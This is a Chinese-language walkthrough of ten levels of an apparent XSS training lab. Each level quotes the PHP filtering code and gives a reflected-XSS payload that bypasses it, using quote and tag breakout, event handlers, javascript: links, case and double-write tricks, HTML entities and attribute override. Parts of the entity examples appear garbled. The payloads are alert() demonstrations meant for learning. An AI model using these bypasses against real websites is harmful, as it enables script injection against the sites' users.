Pass1【无过滤】
?name=<script>alert(/xss/)</script>
?name=<script>alert(1)</script>
字母要有//或者单双引号,数字可以省略
Pass2【>闭合】
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
这里echo处用了htmlspecialchars()
定义和用法
htmlspecialchars()
函数把预定义的字符转换为 HTML 实体。预定义的字符是:
•& (和号)成为 &•" (双引号)成为 "•' (单引号)成为 '•< (小于)成为 <•> (大于)成为 >
实体的意思是仅作显示之用,没有特殊含义
但是这个函数存在第二参数:
可用的引号类型:
•ENT_COMPAT - 默认。仅编码双引号。•ENT_QUOTES - 编码双引号和单引号。•ENT_NOQUOTES - 不编码任何引号。
也就是不设置第二参数的话,仅会过滤双引号,却放行了单引号
所以只能在input处构造
?keyword=ag"><script>alert(/xss/)</script>//
变成
<input name=keyword value="ag"><script>alert(/xss/)</script>
Pass3【单引号闭合触发事件】
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
发现两边都htmlspecialchars()了,但是没有设置第二参数,且value是单引号包裹,所以可以单引号闭合。
可以构造:
ag' onmouseover='alert(/xss/)
最后变成了
<input name=keyword value='ag' onmouseover='alert(/xss/)'>
Pass4【双引号闭合触发事件】
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
这里过滤了尖括号,且value用双引号包裹,所以构造
ag" onmouseover="alert(/xss/)
最后变成
<input name=keyword value="ag" onmouseover="alert(/xss/)">
Pass5【javascript伪协议】
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
过滤了script标签和触发事件
ag"><a href="javascript:alert(/xss/)">click</a>//
最终变成
<input name=keyword value="ag"><a href="javascript:alert(/xss/)">click</a>
Pass6【大小写绕过】
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
这关没有将keyword转小写,就有了漏洞,将上一关href变成大写即可绕过
ag"><a HREF="javascript:alert(/xss/)">click</a>//
Pass7【双写绕过】
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
还是利用Pass5的payload,双写一下即可javascript里的script也要双写
ag"><a hrhrefef="javascrscriptipt:alert(/xss/)">click</a>//
Pass8【HTML字符实体绕过】
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
这一关用到了实体字符绕过,先提供一个转化为实体字符的网站[1]
我们利用这句
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
利用HTML字符实体构造【字符实体在后端显示为s
,到了前端HTML页面转化为s,所以可以绕过后端】
javascript:alert(/xss/)
但要记住,这个必须要在输入框输入提交,不能在hackbar提交。因为此时&会被当初GET参数之间的分隔符。
Pass9【HTML字符实体绕过2】
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
可以看到相比于Pass8,多了这块
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
所以我们构造
javascript:alert('http://')
或者
javascript:alert(/xss/)//http://
Pass10【相同属性的覆盖】
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
我们构造关于t_sort的payload
ag" onmouseover="javascript:alert(/xss/)" type="text
最后相当于因为事件触发需要显示出这个text框,所以要把type属性改一下
<input name="t_sort" value="ag" onmouseover="javascript:alert(/xss/)" type="text" type="hidden">
References
[1]
转化为实体字符的网站: https://www.qqxiuzi.cn/bianma/zifushiti.php